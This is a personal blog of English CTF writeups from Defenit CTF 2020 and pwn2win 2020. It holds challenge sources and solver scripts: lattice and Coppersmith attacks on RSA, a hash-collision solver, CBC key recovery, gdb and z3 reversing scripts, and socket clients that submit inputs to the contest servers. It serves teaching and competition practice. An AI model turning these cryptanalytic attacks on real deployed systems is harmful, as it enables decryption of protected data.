ふるつき

v(*'='*)v かに

Defenit CTF 2020 writeup

I played Defenit CTF 2020 as a member of zer0pts. This was an amazing competition. I enjoyed it a lot.

f:id:Furutsuki:20200607180823p:plain

Challenge attachments and solution scripts are available from here

[Crypto] Double Message

We're given the double.sage and the output.txt.

from Crypto.PublicKey import RSA
from hashlib import md5
import binascii

nBitSize = 2048
e = 3
Flag = b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'   # censored

key = RSA.generate(nBitSize)

M1 = Flag + md5(Flag).digest()
M2 = Flag + md5(b'One more time!' + Flag).digest()

M1 = int(binascii.hexlify(M1),16)
M2 = int(binascii.hexlify(M2),16)

C1 = Integer(pow(M1,e,key.n))
C2 = Integer(pow(M2,e,key.n))

with open('out.txt','w') as f:
    f.write('n = ' + hex(key.n)+'\n')
    f.write('C1 = '+ hex(C1)+'\n')
    f.write('C2 = ' + hex(C2)+'\n')

Apparently, it seems to be Coppersmith's Short Pad Attack + Franklin-Reiter's Related Message Attack. I borrowed the script from this writeup .

e = 3

PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
 
g1 = x**e - C1
g2 = (x + y)**e - C2
 
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
 
h = q2.resultant(q1)
# need to switch to univariate polynomial ring
# because .small_roots is implemented only for univariate
h = h.univariate_polynomial() # x is hopefully eliminated
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
 
roots = h.small_roots(X=2**127, beta=0.3)
assert roots, "Failed1"

diff = roots[0]

x = PRx.gen() # otherwise write xn
g1 = x**e - C1
g2 = (x + diff)**e - C2
 
# gcd
while g2:
    g1, g2 = g2, g1 % g2
 
g = g1.monic()
assert g.degree() == 1, "Failed 2"
 
# g = xn - msg
msg = -g[0]
print(msg)

[Crypto] Hash ChungDol

server.py

#!/usr/bin/python3
from Crypto.Random.random import getrandbits
from base64 import b64decode, b64encode
from Crypto.Util.number import long_to_bytes, bytes_to_long
from secret import flag

BITS = 220

def shift(n,i):
    n1=(n<<i)%0x800
    n2=(n>>(11-i))
    return n1^n2


def PIE(i, A, B, C):
    if i<16:
        return (A&B)|((~A)&C)
    return (A&B)|(B&C)|(C&A)

def pie(j):
    if(j<16): return j
    elif(j==16): return 0
    elif(j==17): return 4
    elif(j==18): return 8
    elif(j==19): return 12
    elif(j==20): return 1
    elif(j==21): return 5
    elif(j==22): return 9
    elif(j==23): return 13
    elif(j==24): return 2
    elif(j==25): return 6
    elif(j==26): return 10
    elif(j==27): return 14
    elif(j==28): return 3
    elif(j==29): return 7
    elif(j==30): return 11
    else: return 15

def HashGenerate(value):
    n = 3
    s = [3]*16 + [7]*16
    Q = [0]*36
    m = [0]*16
    X = []
    for i in range(0,20):
        X.insert(0, value&0x7ff)
        value >>=11
        
    for i in range(-3, 1, 1):
        Q[n+i]=X[i+3]
    for i in range(0,16):
        m[i]=X[i+4]
    for i in range(0, 32):
        Q[n+i+1]=shift(( (Q[n+i-3] + PIE(i,Q[n+i],Q[n+i-1],Q[n+i-2]) + m[pie(i)])%0x800 ), s[i]) 

    Y = []
    for i in range(0,4):
        Y.append((Q[n+i-3] + Q[32+i])%0x800)

    Y[1]=(Y[0]<<33)^(Y[1]<<22)
    Y[0]=Y[2]<<11
    Y[1]^=Y[0]^Y[3]

    return Y[1]

def challenge():
    goal = HashGenerate(getrandbits(BITS))
    print("Hash : %s [0/5]" % hex(goal))
    answer = []
    for i in range(1, 6):
        data = b64decode(input("data : "))
        value = bytes_to_long(data)
        result = HashGenerate(value)
        if (result!= goal) or (value in answer):
            exit(0)
        answer.append(value)
        print("Hash : %s [%d/5]" % (hex(goal), i))
    print("\nGood!\n")


if __name__ == '__main__':
    print("Can you make a hash like this?\n")
    stage = 1
    while stage <= 10:
        print("============================================")
        print("                  Stage %d" % stage)
        print("============================================")
        try: 
            challenge()
            stage+=1
        except:
            print("Nop")
            exit(0)
    print(flag)

Our task is to find 5 value pairs that yield the same hash value. @mitsu proposed a method that makes almost of Q[i] to 0. Using this method, we can fix the least 33bit of the hash value. So I brute-forced the remaining 11bit to find the collision.

In fact, as this algorithm assumes to get the 220-bit long value at most, value a and a | (1 << 220) yields the same result.

solve.py

def crack(h):
    n = 3
    for t in range(1 << 11):
        tt = (t << 33) | (h & ((1 << 33) - 1))
        value = tt  << (220 - 44)

        x = value
        Q = [0]*36
        m = [0]*16

        X = []
        for i in range(0,20):
            X.insert(0, value&0x7ff)
            value >>=11
        for i in range(-3, 1, 1):
            Q[n+i]=X[i+3]
        for i in range(0,16):
            m[i]=X[i+4]

        for i in range(0, 4):
            P = PIE(i, Q[n+i], Q[n+i-1], Q[n+i-2])
            m[i] = 0x800 - P - Q[n+i-3]
            while m[i] < 0:
                m[i] += 0x800
            x |= (m[i] << (165 - 11 * i))

        h2 = HashGenerate(x)
        if h2 == h:
            return x


from ptrlib import *
from Crypto.Random.random import getrandbits
from base64 import b64decode, b64encode
from Crypto.Util.number import long_to_bytes, bytes_to_long

sock = Socket("hash-chungdol.ctf.defenit.kr", 8960)
for _ in range(10):
    h = int(sock.recvlineafter("Hash : ").split(b" ")[0], 16)
    r = crack(h)
    for i in range(1, 6):
        exploit = r | (i << 220)
        sock.sendlineafter("data : ", b64encode(long_to_bytes(exploit)))
        print(sock.recvline())
    print(sock.recvline())
sock.interactive()

[Forensics] What Browse do I use

We're given some huge Evidence files. Its format is EWF/Expert Witness/EnCase image file format. I've never seen the format, however, it can be mounted with ewftool. Then it exploded its size to 30GiB . This file can also be mounted with kpartx in this time.

Now we can see the windows file system. As our purpose is to find out the version of the user's default browser, I checked NTUSER.DAT and saw the value of HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice\Progid. Then it turned out the user used google chrome.

To get the version of chrome was easy, just see in the C:\Program Files (x86)\Google\Chrome.

[rev] child encrypter

We're given the ELF file and ciphertext.txt. After some observation, it turned out that the ELF file works like the following.

from Crypto.Cipher import AES
import os

key = open("key", "rb").read()
plaintext = open("plaintext", "rb").read()
nonce = os.urandom(16)

c.srand(key[0])

xorkey = None
ciphertext = []
for i in range(len(plaintext)):
    if i % 16 == 0:
        nonce = nonce[:15] + bytes([c.rand() % 10])
        xorkey = AES.new(key=key, mode=AES.MODE_ECB).encrypt(nonce)
    ciphertext.append( xorkey[i % 16] ^ plaintext[i] )

with open("cihpertext", "wb") as f:
    f.write(ciphertext)

It is similar to the CTR_MODE but the last byte is determined by rand() % 10. This means that the variation of the key is just 10. So this challenge could be reduced to a multi-time pad challenge.

[rev] Lord Fool Song Remix

The reversing part was done by @ptr-yudai. I received the python emulated version of the binary.

def encrypt(name, slen):
    bits = []
    for c in name + b'\x00' * (9-len(name)):
        for i in range(8):
            bits.append((c >> (7-i)) & 1)
    memory = [
        bits[0:23][::-1] + [0] * (slen - 23),
        bits[23:23+24][::-1] + [0] * (slen - 24),
        bits[23+24:23+24+25][::-1] + [0] * (slen - 25)
    ]
    for i in range(0, slen - 23):
        memory[0][23+i] = memory[0][i] ^ memory[0][i+5]
    for i in range(0, slen - 24):
        memory[1][24+i] = memory[1][i] ^ memory[1][i+4] ^ memory[1][i+1] ^ memory[1][i+3]
    for i in range(0, slen - 25):
        memory[2][25+i] = memory[2][i] ^ memory[2][i+3]

    output = []
    for i in range(slen):
        output.append(
            ((memory[2][i] ^ memory[0][i]) & memory[1][i]) ^ memory[2][i]
        )
    return output

length = 20
name = b"abcd123"
enc = encrypt(name, length*10)

for i in range(length):
    snd = 0
    for j in range(10):
        snd |= enc[i*10 + j]
        snd <<= 1
    print(snd >> 1, end=" ")

print()

just do the boring stuff with z3.

def solve(piyo):
    slen = len(piyo)
    bits = [BitVec("bitvec{}".format(i), 1) for i in range(72)]
    memory = [
        bits[0:23][::-1] + [0] * (slen - 23),
        bits[23:23+24][::-1] + [0] * (slen - 24),
        bits[23+24:23+24+25][::-1] + [0] * (slen - 25)
    ]

    for i in range(0, slen - 23):
        memory[0][23+i] = memory[0][i] ^ memory[0][i+5]

    for i in range(0, slen - 24):
        memory[1][24+i] = memory[1][i] ^ memory[1][i+4] ^ memory[1][i+1] ^ memory[1][i+3]

    for i in range(0, slen - 25):
        memory[2][25+i] = memory[2][i] ^ memory[2][i+3]

    output = []
    solver = Solver()
    for i in range(len(piyo)):
        solver.add( ((memory[2][i] ^ memory[0][i]) & memory[1][i]) ^ memory[2][i] == piyo[i] )

    m = solver.check()
    if m == sat:
        print("sat")
        m = solver.model()
        p = ''
        flag = []
        for b in bits:
            p += str(m[b].as_long())
            if len(p) == 8:
                flag.append(chr(int(p, 2)))
                p = ''
        print("".join(flag))
    else:
        print("unsat")
outputs = []
xs = [int(x) for x in "638 1004 829 320 666 526 593 247 940 790 1023 75 240 42 1012 326 447 261 882 881".split(" ")]
for x in xs:
    outputs += [int(b) for b in "{:010b}".format(x)]

print(len(outputs))
solve(outputs)

[rev] MixMix

the binary shuffle and replace the input with the RC4-like algorithm. I collected shuffle indices and replace values using the following gdb script.

import gdb


gdb.execute("file ./mixmix")
gdb.execute("start < input")
piebase  = int(gdb.execute("piebase", to_string=True).strip().split(" = ")[1], 16)
data = 'mogutakomogumogutakomogudefenitc'
print(data)


gdb.execute("b *0x{:0x}".format(piebase+ 0xECA))
offsets = []
bits = []
for _ in range(256):
    gdb.execute("continue")
    offset = int(gdb.execute("print $rdx", to_string=True).strip().split(" = ")[1])
    offsets.append(offset)
    bit = int(gdb.execute("print $rcx", to_string=True).strip().split(" = ")[1])
    bits.append(bit)

gdb.execute("b *0x{:0x}".format(piebase+ 0x102A))
gdb.execute("b *0x{:0x}".format(piebase+ 0x105B))
swapindex = []
bitvalues = []
for _ in range(256):
    gdb.execute("continue")
    offset = int(gdb.execute("print $rdx", to_string=True).strip().split(" = ")[1])
    swapindex.append(offset)

    gdb.execute("continue")
    offset = int(gdb.execute("print $rdx", to_string=True).strip().split(" = ")[1])
    bitvalues.append(offset)


gdb.execute("b *0x{:0x}".format(piebase+ 0x1123))
mogo_offsets = []
vs = []
for _ in range(256):
    gdb.execute("continue")
    offset = int(gdb.execute("print $rdx", to_string=True).strip().split(" = ")[1])
    mogo_offsets.append(offset)

    gdb.execute("step")
    v = int(gdb.execute("print $rdx", to_string=True).strip().split(" = ")[1])
    vs.append(v)


gdb.execute("b *0x{:0x}".format(piebase+0x0F64))
mogo_read_offsets = []
read_vs = []
for _ in range(256):
    gdb.execute("continue")
    offset = int(gdb.execute("print $rdx", to_string=True).strip().split(" = ")[1])
    mogo_read_offsets.append(offset)

    gdb.execute("step")
    v = int(gdb.execute("print $rdx", to_string=True).strip().split(" = ")[1])
    read_vs.append(v)

gdb.execute("b *0x{:0x}".format(piebase+0x0D8b))
mini_values = []
vx = []
for _ in range(len(data)):
    gdb.execute("continue")
    v = int(gdb.execute("print $rsi", to_string=True).strip().split(" = ")[1])
    mini_values.append(v)

    v2 = int(gdb.execute("print $rcx", to_string=True).strip().split(" = ")[1])
    vx.append(v2)

print(offsets)
print(bits)
print(swapindex)
print(bitvalues)
print(mogo_offsets)
print(vs)
print(mogo_read_offsets)
print(read_vs)
print(mini_values)
print(vx)

After getting the indices, applying the reverse assignments.

shuffle_2 = [164, 144, 464, 928, 96, 856, 580, 268, 556, 180, 244, 392, 468, 200, 544, 936, 776, 316, 524, 932, 412, 172, 688, 676, 444, 572, 796, 76, 652, 692, 380, 408, 916, 356, 84, 360, 188, 68, 312, 388, 340, 88, 816, 44, 512, 264, 20, 184, 52, 0, 372, 520, 168, 740, 236, 568, 252, 260, 644, 552, 852, 548, 292, 420, 72, 1004, 884, 136, 768, 248, 240, 304, 344, 272, 792, 564, 256, 680, 708, 80, 620, 760, 976, 744, 480, 4, 864, 592, 944, 320, 952, 948, 696, 124, 452, 472, 428, 284, 752, 832, 204, 64, 720, 872, 348, 440, 588, 28, 560, 220, 432, 608, 56, 764, 176, 784, 148, 972, 496, 92, 504, 880, 488, 860, 436, 772, 684, 48, 8, 476, 844, 416, 368, 960, 920, 484, 868, 280, 352, 36, 120, 824, 24, 212, 376, 828, 532, 712, 808, 996, 780, 448, 276, 1008, 60, 152, 700, 100, 508, 308, 756, 364, 648, 328, 116, 612, 748, 216, 528, 456, 956, 704, 224, 660, 716, 736, 636, 1016, 132, 604, 128, 788, 576, 672, 196, 904, 668, 848, 840, 888, 724, 896, 300, 584, 540, 912, 980, 876, 424, 404, 624, 208, 596, 992, 836, 640, 232, 160, 500, 516, 396, 332, 336, 12, 800, 656, 140, 112, 296, 156, 228, 812, 968, 32, 288, 908, 536, 732, 460, 1012, 728, 16, 892, 820, 104, 492, 192, 600, 400, 940, 984, 40, 108, 1000, 988, 632, 924, 324, 964, 900, 1020, 628, 616, 804, 384, 664]
bit_shuffle = [72, 84, 4, 156, 136, 56, 148, 44, 168, 180, 24, 220, 200, 152, 212, 140, 20, 40, 68, 8, 76, 52, 64, 60, 240, 248, 100, 252, 232, 0, 244, 32, 120, 104, 88, 112, 92, 116, 80, 124, 196, 208, 164, 192, 172, 216, 160, 204, 144, 28, 184, 132, 188, 16, 176, 128, 12, 108, 228, 48, 236, 96, 224, 36, 328, 340, 260, 412, 392, 312, 404, 300, 424, 436, 280, 476, 456, 408, 468, 396, 276, 296, 324, 264, 332, 308, 320, 316, 496, 504, 356, 508, 488, 256, 500, 288, 376, 360, 344, 368, 348, 372, 336, 380, 452, 464, 420, 448, 428, 472, 416, 460, 400, 284, 440, 388, 444, 272, 432, 384, 268, 364, 484, 304, 492, 352, 480, 292, 584, 596, 516, 668, 648, 568, 660, 556, 680, 692, 536, 732, 712, 664, 724, 652, 532, 552, 580, 520, 588, 564, 576, 572, 752, 760, 612, 764, 744, 512, 756, 544, 632, 616, 600, 624, 604, 628, 592, 636, 708, 720, 676, 704, 684, 728, 672, 716, 656, 540, 696, 644, 700, 528, 688, 640, 524, 620, 740, 560, 748, 608, 736, 548, 840, 852, 772, 924, 904, 824, 916, 812, 936, 948, 792, 988, 968, 920, 980, 908, 788, 808, 836, 776, 844, 820, 832, 828, 1008, 1016, 868, 1020, 1000, 768, 1012, 800, 888, 872, 856, 880, 860, 884, 848, 892, 964, 976, 932, 960, 940, 984, 928, 972, 912, 796, 952, 900, 956, 784, 944, 896, 780, 876, 996, 816, 1004, 864, 992, 804]
bit_pick = [28, 24, 20, 16, 12, 8, 4, 0, 60, 56, 52, 48, 44, 40, 36, 32, 92, 88, 84, 80, 76, 72, 68, 64, 124, 120, 116, 112, 108, 104, 100, 96, 156, 152, 148, 144, 140, 136, 132, 128, 188, 184, 180, 176, 172, 168, 164, 160, 220, 216, 212, 208, 204, 200, 196, 192, 252, 248, 244, 240, 236, 232, 228, 224, 284, 280, 276, 272, 268, 264, 260, 256, 316, 312, 308, 304, 300, 296, 292, 288, 348, 344, 340, 336, 332, 328, 324, 320, 380, 376, 372, 368, 364, 360, 356, 352, 412, 408, 404, 400, 396, 392, 388, 384, 444, 440, 436, 432, 428, 424, 420, 416, 476, 472, 468, 464, 460, 456, 452, 448, 508, 504, 500, 496, 492, 488, 484, 480, 540, 536, 532, 528, 524, 520, 516, 512, 572, 568, 564, 560, 556, 552, 548, 544, 604, 600, 596, 592, 588, 584, 580, 576, 636, 632, 628, 624, 620, 616, 612, 608, 668, 664, 660, 656, 652, 648, 644, 640, 700, 696, 692, 688, 684, 680, 676, 672, 732, 728, 724, 720, 716, 712, 708, 704, 764, 760, 756, 752, 748, 744, 740, 736, 796, 792, 788, 784, 780, 776, 772, 768, 828, 824, 820, 816, 812, 808, 804, 800, 860, 856, 852, 848, 844, 840, 836, 832, 892, 888, 884, 880, 876, 872, 868, 864, 924, 920, 916, 912, 908, 904, 900, 896, 956, 952, 948, 944, 940, 936, 932, 928, 988, 984, 980, 976, 972, 968, 964, 960, 1020, 1016, 1012, 1008, 1004, 1000, 996, 992]
xorbuf = [247, 162, 130, 73, 139, 252, 234, 40, 142, 146, 75, 134, 81, 115, 215, 169, 165, 169, 56, 234, 105, 163, 139, 231, 172, 23, 9, 106, 139, 191, 253, 21]


encrypted = open("flag_mixed", "rb").read()
xoredx = []
xored = ''
for i in range(len(encrypted)):
    x = xorbuf[i] ^ encrypted[i]
    xoredx.append(x)
    xored += "{:08b}".format(x)[::-1]
print(xoredx)

bitbuf = [None for _ in range(256)]
for i, b in enumerate(xored):
    index = bit_pick[i] // 4
    bitbuf[index] = b
print(bitbuf)

shuffled = [None for _ in range(256)]
for i, b in enumerate(bitbuf):
    index = bit_shuffle[i] // 4
    shuffled[index] = b

plainbits = [None for _ in range(256)]
for i, b in enumerate(shuffled):
    index = shuffle_2[i] // 4
    plainbits[index] = b

print(plainbits)


flag = ""
for i in range(0, len(plainbits), 8):
    flag += chr(int("".join(plainbits[i:i+8])[::-1], 2))

print(flag)

[rev] Mom's Touch

import gdb

gdb.execute("b main")
gdb.execute("b *0x8048800")
gdb.execute("run < piyo2")

flag = ''
for _ in range(0x49):
    # ecx1 = int(gdb.execute("print $ecx", to_string=True).split(" ")[2])
    # ecx2 = int(gdb.execute("print $ecx", to_string=True).split(" ")[2])
    # ecx3 = int(gdb.execute("print $ecx", to_string=True).split(" ")[2])
    mask1 = int(gdb.execute("x/w $bp*4 + 0x80492AC", to_string=True).split("\t")[1])
    mask2 = int(gdb.execute("x/w $eax*4 + 0x80492AC", to_string=True).split("\t")[1])
    cmpto = int(gdb.execute("x/w $esi*4 + 0x8049144", to_string=True).split("\t")[1])
    gdb.execute("step")
    gdb.execute("step")
    gdb.execute("step")
    gdb.execute("step")

    gdb.execute("set $ZF = 6")
    gdb.execute("set $eflags |= (1 << $ZF)")

    flag += chr(mask1 ^ mask2 ^ cmpto)
    print(flag)

    gdb.execute("continue")
gdb.execute("quit")

pwn2win 2020 writeup

I played this year's pwn2win CTF as a member of zer0pts. We reached 6th place and got 2842 points. I mostly solved crypto challenges which were fun. and tried to solve some weird misc challenges and ppc challenges.

f:id:Furutsuki:20200601014755p:plain

challenge files and my solution scripts are available from here

[crypto] Androids Encryption

challenge script:

#!/usr/bin/python3 -u
# *-* coding: latin1 -*-
import sys
import base64
from Crypto.Cipher import AES

from secrets import flag, key1, iv1


def to_blocks(txt):
    return [txt[i*BLOCK_SIZE:(i+1)*BLOCK_SIZE] for i in range(len(txt)//BLOCK_SIZE)]


def xor(b1, b2=None):
    if isinstance(b1, list) and b2 is None:
        assert len(set([len(b) for b in b1])) == 1, 'xor() - Invalid input size'
        assert all([isinstance(b, bytes) for b in b1]), 'xor() - Invalid input type'
        x = [len(b) for b in b1][0]*b'\x00'
        for b in b1:
            x = xor(x, b)
        return x
    assert isinstance(b1, bytes) and isinstance(b2, bytes), 'xor() - Invalid input type'
    return bytes([a ^ b for a, b in zip(b1, b2)])


BUFF = 256
BLOCK_SIZE = 16
iv2 = AES.new(key1, AES.MODE_ECB).decrypt(iv1)
key2 = xor(to_blocks(flag))


def encrypt(txt, key, iv):
    global key2, iv2
    assert len(key) == BLOCK_SIZE, f'Invalid key size'
    assert len(iv) == BLOCK_SIZE, 'Invalid IV size'
    assert len(txt) % BLOCK_SIZE == 0, 'Invalid plaintext size'
    bs = len(key)
    blocks = to_blocks(txt)
    ctxt = b''
    aes = AES.new(key, AES.MODE_ECB)
    curr = iv
    for block in blocks:
        ctxt += aes.encrypt(xor(block, curr))
        curr = xor(ctxt[-bs:], block)
    iv2 = AES.new(key2, AES.MODE_ECB).decrypt(iv2)
    key2 = xor(to_blocks(ctxt))
    return str(base64.b64encode(iv+ctxt), encoding='utf8')


def enc_plaintext():
    print('Plaintext: ', end='')
    txt = base64.b64decode(input().rstrip())
    print(encrypt(txt, key1, iv1))


def enc_flag():
    print(encrypt(flag, key2, iv2))


def menu():
    while True:
        print('MENU')
        options = [('Encrypt your secret', enc_plaintext),
                   ('Encrypt my secret', enc_flag),
                   ('Exit', sys.exit)
                   ]
        for i, (op, _) in enumerate(options):
            print(f'{i+1} - {op}')
        print('Choice: ', end='')
        op = input().strip()
        assert op in ['1', '2', '3'], 'Invalid option'
        options[ord(op)-ord('1')][1]()


def main():
    print('Let\'s see if you are good enough in symmetric cryptography!\n')

    try:
        menu()
    except Exception as err:
        sys.exit(f'ERROR: {err}')


if __name__ == '__main__':
    main()

We can see there are two keys: one is a fixed key for encrypting our input, and another one is modified each in encrypt for encrypting the flag. On focusing the last line in the encrypt, we found that key2 is determined by our last ciphertext key2 = xor(to_blocks(ctxt)). As we can get the result of encryption, we can get the key2 too.

So we can get the pair of iv, ciphertext, and its key. Just write the decryption with taking care of encryption mode.

from ptrlib import *
from base64 import b64encode, b64decode
from Crypto.Util.Padding import *
from Crypto.Cipher import AES

BLOCK_SIZE = 16

def to_blocks(txt):
    return [txt[i*BLOCK_SIZE:(i+1)*BLOCK_SIZE] for i in range(len(txt)//BLOCK_SIZE)]

def xor(b1, b2=None):
    if isinstance(b1, list) and b2 is None:
        assert len(set([len(b) for b in b1])) == 1, 'xor() - Invalid input size'
        assert all([isinstance(b, bytes) for b in b1]), 'xor() - Invalid input type'
        x = [len(b) for b in b1][0]*b'\x00'
        for b in b1:
            x = xor(x, b)
        return x
    assert isinstance(b1, bytes) and isinstance(b2, bytes), 'xor() - Invalid input type'
    return bytes([a ^ b for a, b in zip(b1, b2)])

plaintext = pad(b"the quick brown fox jumps over the lazy dog", AES.block_size)

sock = Socket("encryption.pwn2.win", 1337)
sock.sendlineafter("Choice: ", "1")
sock.sendlineafter("Plaintext: ", b64encode(plaintext))
c = b64decode(sock.recvline())
iv, c = c[:16], c[16:]

key = xor(to_blocks(c))

sock.sendlineafter("Choice: ", "2")
c = b64decode(sock.recvline())
iv, c = c[:16], c[16:]

blocks = to_blocks(c)
aes = AES.new(key=key, mode=AES.MODE_ECB)
curr = iv
ctxt = b''
for i in range(len(blocks)):
    ctxt += xor(aes.decrypt(blocks[i]), curr)
    curr = xor(blocks[i] , ctxt[-16:])

print(ctxt)

[crypto] Omni Crypto

enc.py

import gmpy2
import random
from Crypto.Util.number import bytes_to_long

def getPrimes(size):
    half = random.randint(16, size // 2 - 8)
    rand = random.randint(8, half - 1)
    sizes = [rand, half, size - half - rand]

    while True:
        p, q = 0, 0
        for s in sizes:
            p <<= s
            q <<= s
            chunk = random.getrandbits(s)
            p += chunk 
            if s == sizes[1]:
                chunk = random.getrandbits(s)
            q += chunk
        p |= 2**(size - 1) | 2**(size - 2) | 1
        q |= 2**(size - 1) | 2**(size - 2) | 1
        if gmpy2.is_prime(p) and gmpy2.is_prime(q):
            return p, q

e = 65537
p, q = getPrimes(1024)
N = p*q
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = bytes_to_long(open("flag.txt", "rb").read())
c = pow(m, e, N)
print("N =", hex(N))
print("c =", hex(c))

It seems to be an RSA challenge whose p and q shares some MSB and LSB. MSB can be extracted from N by a naive square root. LSB can also be extracted from the modular square root of mod [tex: 2n].

def sqrt_power_of_2_mod(a, n):
    """find x^2 = a mod 2^n""" 
    assert a % 8 == 1

    res = []
    for x in [1, 3]:
        for k in range(3, n):
            i = ((x*x - a) // pow(2, k)) % 2
            x = x + i * pow(2, k-1)

        res.append(x)
        res.append(2**n - x)
    return res

Though we cannot find out sizes of MSB and LSB, just pray for MSB + LSB >= half of p and q bits and apply coppersmith.

from sage.all import *
from modsqrt import sqrt_power_of_2_mod
import gmpy2


N = 0xf7e6ddd1f49d9f875904d1280c675e0e03f4a02e2bec6ca62a2819d521441b727d313ec1b5f855e3f2a69516a3fea4e953435cbf7ac64062dd97157b6342912b7667b190fad36d54e378fede2a7a6d4cc801f1bc93159e405dd6d496bf6a11f04fdc04b842a84238cc3f677af67fa307b2b064a06d60f5a3d440c4cfffa4189e843602ba6f440a70668e071a9f18badffb11ed5cdfa6b49413cf4fa88b114f018eb0bba118f19dea2c08f4393b153bcbaf03ec86e2bab8f06e3c45acb6cd8d497062f5fdf19f73084a3a793fa20757178a546de902541dde7ff6f81de61a9e692145a793896a8726da7955dab9fc0668d3cfc55cd7a2d1d8b631f88cf5259ba1
c = 0xf177639388156bd71b533d3934016cc76342efae0739cb317eb9235cdb97ae50b1aa097f16686d0e171dccc4ec2c3747f9fbaba4794ee057964734835400194fc2ffa68a5c6250d49abb68a9e540b3d8dc515682f1cd61f46352efc8cc4a1fe1d975c66b1d53f6b5ff25fbac9fa09ef7a3d7e93e2a53f9c1bc1db30eed92a30586388cfef4d68516a8fdebe5ebf9c7b483718437fcf8693acd3118544249b6e62d30afa7def37aecf4da999c1e2b686ca9caca1b84503b8794273381b51d06d0dfb9c19125ce30e67a8cf72321ca8c50a481e4b96bbbc5b8932e8d5a32fa040c3e29ced4c8bf3541e846f832a7f9406d263a592c0a9bce88be6aed043a9867a7

size = 1024
for lsb_len in range(100, 400, 5):
    print(lsb_len)
    for msb_len in range(100, 400, 5):
        msb, _ = gmpy2.iroot(N, 2)
        shift = int(msb).bit_length() - msb_len
        msb = int(msb) >> shift

        ls = sqrt_power_of_2_mod(N, lsb_len)
        for l in ls:
            lsb = l

            _, x = PolynomialRing(Zmod(N), name='x').objgen()

            f = msb * (2 ** (size - msb_len)) + (x * (2 ** lsb_len)) + lsb
            f = f.monic()
            xs = f.small_roots(X=2**(size - msb_len - lsb_len), beta=0.3)
            for s in xs:
                print( msb * (2 ** (size - msb_len)) + (s * (2 ** lsb_len)) + lsb)

the flag was found around lsb=300.

[crypto/rev] S1 Protocol

The reversing part writeup will be written by @ptr-yudai. The binary works like the following script.

from Crypto.Util.number import *

pattern = 0x1000000000000000000000000000000000000000001000000000000000000000000000000000000000001000000000000000000000000000000000000000001000000000000000000000000000000000000000001000000000000000000000000000000000000000001

while True:
    x = getRandomNBitInteger(21 * 8)
    p = (0b11 << 1022) + (pattern * x << 16) + getRandomNBitInteger(16) | 1
    if isPrime(p):
        break
q = getStrongPrime(1024)
n = p * q

r = getRandomRange(2, n)

flag = long_to_bytes(open("flag.txt", "rb").read())

print(n+1)
print(pow(r, n, n**3))
print(pow(1 + n, flag, (n+1)*(n**3)))

Obviously, the flag is encrypted with modified paillier crypto, and the factor of modulus has some pattern. There was an analogy challenge in the google CTF 2019. Luckily, its solver can be applied as-is. So I don't know how it works.

from sage.all import *


n = 24873956958658402268767683103493059896705299540675048547193795288445376056675974746836994045550208950377561438045299653683756857105762284046700057257044778523863095409390382049154376271272054943837723148622450408029389494774175445756568213417919195725130474727174628849316519649758004047082836095165350139241058167015090602339726250580015660699904551403507821949156006918652616841989957152257987416669296535546243917804424508781976452089018525704521989449529550926409771357879685458344231307480394377651973499196053459100169309910822372188138310059463352985798139208816853247052829533726918240148879918230116779685881


pattern_size = 21*8
prime_size = 1024
x = 2**pattern_size
d0 = 2**pattern_size - 1
w = 2**prime_size
u, v = divmod(n, w)
M = matrix([[x, 0, u * d0 % w],
            [0, x, v * d0 % w],
            [0, 0,         w]])

for vec in M.LLL():
  bx, ax = vec[0], -vec[1]
  p = gcd(ax * w + bx, n)
  if 1 < p < n:
    q = n // p
    break
print(p)
print(q)

[crypto] Lost qKeys

import qiskit
import os
from Crypto.Util.number import bytes_to_long
# from secrets import flag
flag = b"hogepiyo"

class IQuantumComputer:
    def __init__(self, nbits):
        self.nbits = nbits
        self.nbytes = (self.nbits - 1)//8 + 1

    def string_to_bits(self, m):
        if isinstance(m, str):
            m = m.encode()
        return self.decode(self.encode(bytes_to_long(m)))

    def encode(self, m):
        return '{:0{}x}'.format(m, self.nbytes)

    def decode(self, m):
        return '{:0{}b}'.format(int(m, 16), self.nbits)[-self.nbits:]

    def send_qubits(self, msg, dest):
        qbit_config = self.decode(msg)
        q = qiskit.QuantumRegister(9*len(qbit_config))
        circ = qiskit.QuantumCircuit(q)
        for j, c in enumerate(qbit_config):
            if c=='1':
                circ.x(q[9*j])
            circ.cx(q[9*j],q[9*j+3])
            circ.cx(q[9*j],q[9*j+6])
            circ.h(q[9*j])
            circ.h(q[9*j+3])
            circ.h(q[9*j+6])
            circ.cx(q[9*j],q[9*j+1])
            circ.cx(q[9*j],q[9*j+2])
            circ.cx(q[9*j+3],q[9*j+4])
            circ.cx(q[9*j+3],q[9*j+5])
            circ.cx(q[9*j+6],q[9*j+7])
            circ.cx(q[9*j+6],q[9*j+8])

        return quantum_channel(circ, dest)

    def read_qubits(self, circ):
        raise NotImplemented('read_qubits')

    @staticmethod
    def send_message(message, dest):
        classical_channel(message, dest)

    @staticmethod
    def read_message(message):
        raise NotImplemented('read_message')


class LocalQuantumComputer(IQuantumComputer):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)

    @staticmethod
    def read_message(message):
        print(message)


class RemoteQuantumComputer(IQuantumComputer):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.key = self.decode(self.encode(bytes_to_long(os.urandom(self.nbytes))))
        self.encoded_flag = self.string_to_bits(flag)

    def encrypt_flag(self, circ):
        self.qbuffer = qiskit.QuantumRegister(self.nbits)
        circ.add_register(self.qbuffer)

        for i, c in enumerate(self.encoded_flag):
            if c=='1':
                circ.x(self.qbuffer[i])

        for i in range(len(self.key)):
            if self.key[i]=='1':
                circ.h(self.qbuffer[i])
        return circ

    def decrypt_flag(self, circ):
        for i in range(self.nbits):
            circ.ch(self.received_qubits[9*i], self.qbuffer[i])

        output = qiskit.ClassicalRegister(self.nbits)
        circ.add_register(output)
        circ.measure(self.qbuffer, output)

        bk = qiskit.Aer.get_backend('qasm_simulator')
        job = qiskit.execute(circ, bk, shots=1)
        res = job.result()
        if not res.success:
            raise MemoryError('You should use a real quantum computer...')
        res = res.get_counts(circ)
